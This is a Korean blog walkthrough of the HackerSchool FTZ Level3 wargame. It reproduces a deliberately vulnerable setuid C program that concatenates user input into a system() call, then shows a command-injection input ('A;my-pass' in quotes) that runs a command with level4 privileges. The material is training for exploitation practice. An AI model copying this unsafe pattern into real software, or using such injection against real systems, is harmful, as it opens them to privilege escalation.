Pwnable

[HackerSchool] FTZ Level3 풀이

e_yejun 2019. 11. 28. 19:06

ID : level3

PW : can you fly?

 

Level3 접속

 

[level3@ftz level3]$ ls -al
total 80
drwxr-xr-x    4 root     level3       4096 May  7  2002 .
drwxr-xr-x   34 root     root         4096 Sep 10  2011 ..
-rw-------    1 root     root            1 Jan 15  2010 .bash_history
-rw-r--r--    1 root     root           24 Feb 24  2002 .bash_logout
-rw-r--r--    1 root     root          224 Feb 24  2002 .bash_profile
-rw-r--r--    1 root     root          151 Feb 24  2002 .bashrc
-rw-r--r--    1 root     root          400 Sep 24  2000 .cshrc
-rw-r--r--    1 root     root         4742 Sep 24  2000 .emacs
-r--r--r--    1 root     root          319 Sep 24  2000 .gtkrc
-rw-r--r--    1 root     root          100 Sep 24  2000 .gvimrc
-rw-r--r--    1 root     root          543 Nov 26  2000 hint
-rw-r--r--    1 root     root          226 Sep 24  2000 .muttrc
-rw-r--r--    1 root     root          367 Sep 24  2000 .profile
drwxr-xr-x    2 root     level3       4096 Feb 24  2002 public_html
drwxrwxr-x    2 root     level3       4096 Jan 15  2009 tmp
-rw-r--r--    1 root     root            1 May  7  2002 .viminfo
-rw-r--r--    1 root     root         4145 Sep 24  2000 .vimrc
-rw-r--r--    1 root     root          245 Sep 24  2000 .Xdefaults

 

 

힌트 파일을 읽어봅시다.

 

 

 

다음 코드는 autodig의 소스이다.

#include 
#include 
#include 
 
int main(int argc, char **argv){
 
    char cmd[100];
 
    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }
 
    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");
 
    system( cmd );
 
}

이를 이용하여 level4의 권한을 얻어라.

more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?

 

;(세미콜론)으로 여러 개의 명령어를 실행시킬 수 있습니다.

 

 

!!

파일이 실행되는 동안 level4의 권한으로 mypass 명령어를 실행시킬 수 있다면?

바로 해봅시다.

 

 

[level3@ftz level3]$ /bin/autodig A;my-pass

 

 

Level3 Password is "can you fly?".

[level3@ftz level3]$

 

 

?????

 

level3 password가 나오네요,,

 

why?

;(세미콜론)은 순차 실행을 하기 때문에 autodig가 종료 되고 mypass가 실행됩니다.

그래서 level3의 패스워드가 나오는 것이죠.

 

인자를 같이 넘겨주기 위해서 따옴표로 묶어줍니다.

 

 

[level3@ftz level3]$ /bin/autodig "A;my-pass"

 

 

Level4 Password is

[level3@ftz level3]$

 

문제가 풀리고 level4 패스워드를 볼 수 있습니다.

 

 

 

성공 >_<